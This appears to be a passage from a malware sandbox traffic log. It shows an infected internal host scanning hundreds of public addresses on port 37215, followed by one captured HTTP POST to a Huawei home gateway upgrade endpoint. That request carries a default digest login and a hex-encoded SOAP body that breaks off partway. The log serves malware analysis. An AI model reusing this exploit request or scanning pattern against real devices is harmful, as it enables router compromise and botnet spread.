Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.93.143.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.120.215.197:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.218.97.218:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.139.6.245:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.155.197.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.109.183.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.185.210.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.214.140.143:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.93.225.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.246.67.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.0.163.77:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.179.229.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.138.185.63:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.233.68.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.167.32.249:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.21.84.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.37.105.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.124.104.90:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.109.3.169:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.221.187.210:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.253.48.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.143.45.35:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.55.156.128:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.115.87.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.127.40.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.52.221.239:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.12.72.106:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.226.104.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.155.7.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.124.233.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.233.165.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.80.10.222:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.199.71.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.72.2.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.97.141.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.191.63.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.139.52.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.245.183.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.18.236.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.79.172.220:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.238.224.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.249.125.2:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.13.155.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.151.23.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.33.232.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.215.215.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.68.172.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.137.241.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.71.254.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.80.5.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.218.115.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.107.99.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.198.33.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.243.215.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.246.247.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.89.63.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.127.217.93:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.240.254.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.129.30.140:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.183.76.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.115.183.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.216.42.135:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.114.119.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.239.136.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.209.52.144:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.225.62.99:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.101.131.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.114.119.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.29.4.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.84.138.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.39.160.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.92.142.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.20.73.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.33.221.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.14.129.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.33.63.87:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.80.87.197:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.214.250.242:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.160.137.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.236.120.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.126.159.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.129.174.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.199.60.93:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.9.172.76:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.99.170.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.250.121.148:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.121.70.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.65.245.46:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.212.91.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.152.166.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.49.119.80:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.30.221.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.219.228.221:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.78.143.166:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.141.196.164:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.163.124.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.39.222.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.56.241.214:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.229.59.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.35.240.176:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.11.67.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.221.149.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.51.163.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.134.231.27:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.124.162.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.76.130.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.151.185.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.58.180.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.4.16.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.111.180.24:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.76.215.181:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.46.76.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.155.56.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.60.175.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.164.190.46:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.50.177.180:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.11.234.71:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.78.14.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.47.39.144:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.228.187.232:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.192.236.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.39.217.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.184.34.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.179.192.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.210.47.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.38.109.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.153.90.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.116.236.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.27.12.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.255.107.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.94.125.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.83.78.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.206.65.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.101.136.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.122.240.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.3.129.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.59.3.73:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.159.201.255:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.235.204.226:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.183.23.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.197.147.80:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.30.210.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.82.24.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.145.1.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.202.75.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.27.71.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.147.13.185:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.105.66.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.190.206.108:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.108.104.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.55.219.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.227.2.239:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.57.6.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.139.190.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.17.199.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.103.191.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.51.116.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.129.25.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.86.28.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.91.60.222:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.109.94.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.225.154.176:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.44.65.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.9.231.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.135.116.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.112.171.253:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.185.119.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.237.171.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.135.46.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.87.128.160:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.68.87.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.103.244.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.230.1.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.47.183.185:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.42.183.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.57.252.80:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.95.160.103:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.230.203.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.251.13.112:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.10.46.19:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.10.195.93:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.77.65.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.125.161.40:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.241.23.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.212.109.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.19.88.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.251.153.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.48.240.109:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.138.239.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.71.131.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.149.114.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.236.76.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.169.242.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.180.114.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.121.10.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.157.237.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.12.233.171:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.212.200.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.108.97.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.126.60.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.148.6.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.55.147.96:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.247.74.27:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.165.87.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.26.156.242:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.203.23.99:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.54.255.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.117.10.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.249.29.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.199.201.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.26.32.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.111.92.212:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.187.154.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.214.8.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.178.98.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.135.91.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.118.219.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.80.82.185:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.83.147.177:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.76.79.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.58.191.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.92.8.61:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.143.95.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.40.97.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.98.112.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.140.0.121:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.69.175.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.14.114.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.243.7.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.114.108.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.116.25.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.52.240.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.0.175.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.228.250.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.247.185.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.236.115.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.164.187.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.207.18.66:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.221.10.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.41.194.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.141.140.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.238.224.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.25.126.128:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.150.206.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.157.73.108:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.105.137.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.175.196.108:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.45.23.44:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.7.11.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.171.134.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.177.114.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.73.29.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.223.220.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.56.156.138:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.10.76.57:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.121.161.125:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.18.180.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.191.129.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.253.160.148:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.19.133.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.52.152.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.31.2.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.124.91.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.8.190.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.163.220.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.232.235.77:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.91.227.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.168.106.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.202.95.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.53.15.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.74.171.171:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.19.236.179:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.33.241.19:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.77.119.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.159.109.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.252.154.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.118.171.66:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.239.159.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.248.129.210:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.227.171.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.140.104.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.91.64.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.94.61.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.153.154.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.117.24.223:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.82.46.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.144.176.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.52.77.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.18.107.185:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.87.74.169:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.26.194.106:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.11.138.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.34.97.255:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.178.69.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.91.178.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.95.25.222:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.114.2.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.62.98.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.58.147.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.117.180.202:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.199.130.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.228.202.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.183.15.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.166.39.19:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.210.167.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.186.44.61:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.202.167.35:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.0.120.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.221.36.125:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.150.89.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.60.216.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.24.42.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.183.233.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.127.180.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.110.134.77:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.98.15.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.193.92.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.246.2.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.77.111.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.27.158.180:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.204.133.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.203.4.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.154.45.34:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.87.226.73:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.217.205.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.106.131.49:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.96.45.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.115.9.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.234.180.204:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.231.42.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.97.165.31:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.38.186.19:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.242.170.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.100.11.44:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.72.248.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.110.90.234:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.57.181.66:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 197.14.42.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.138.86.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.11.250.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.6.65.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.217.82.96:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.115.207.212:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.85.205.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 41.154.122.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.34.158.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:59534 -> 156.52.112.133:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 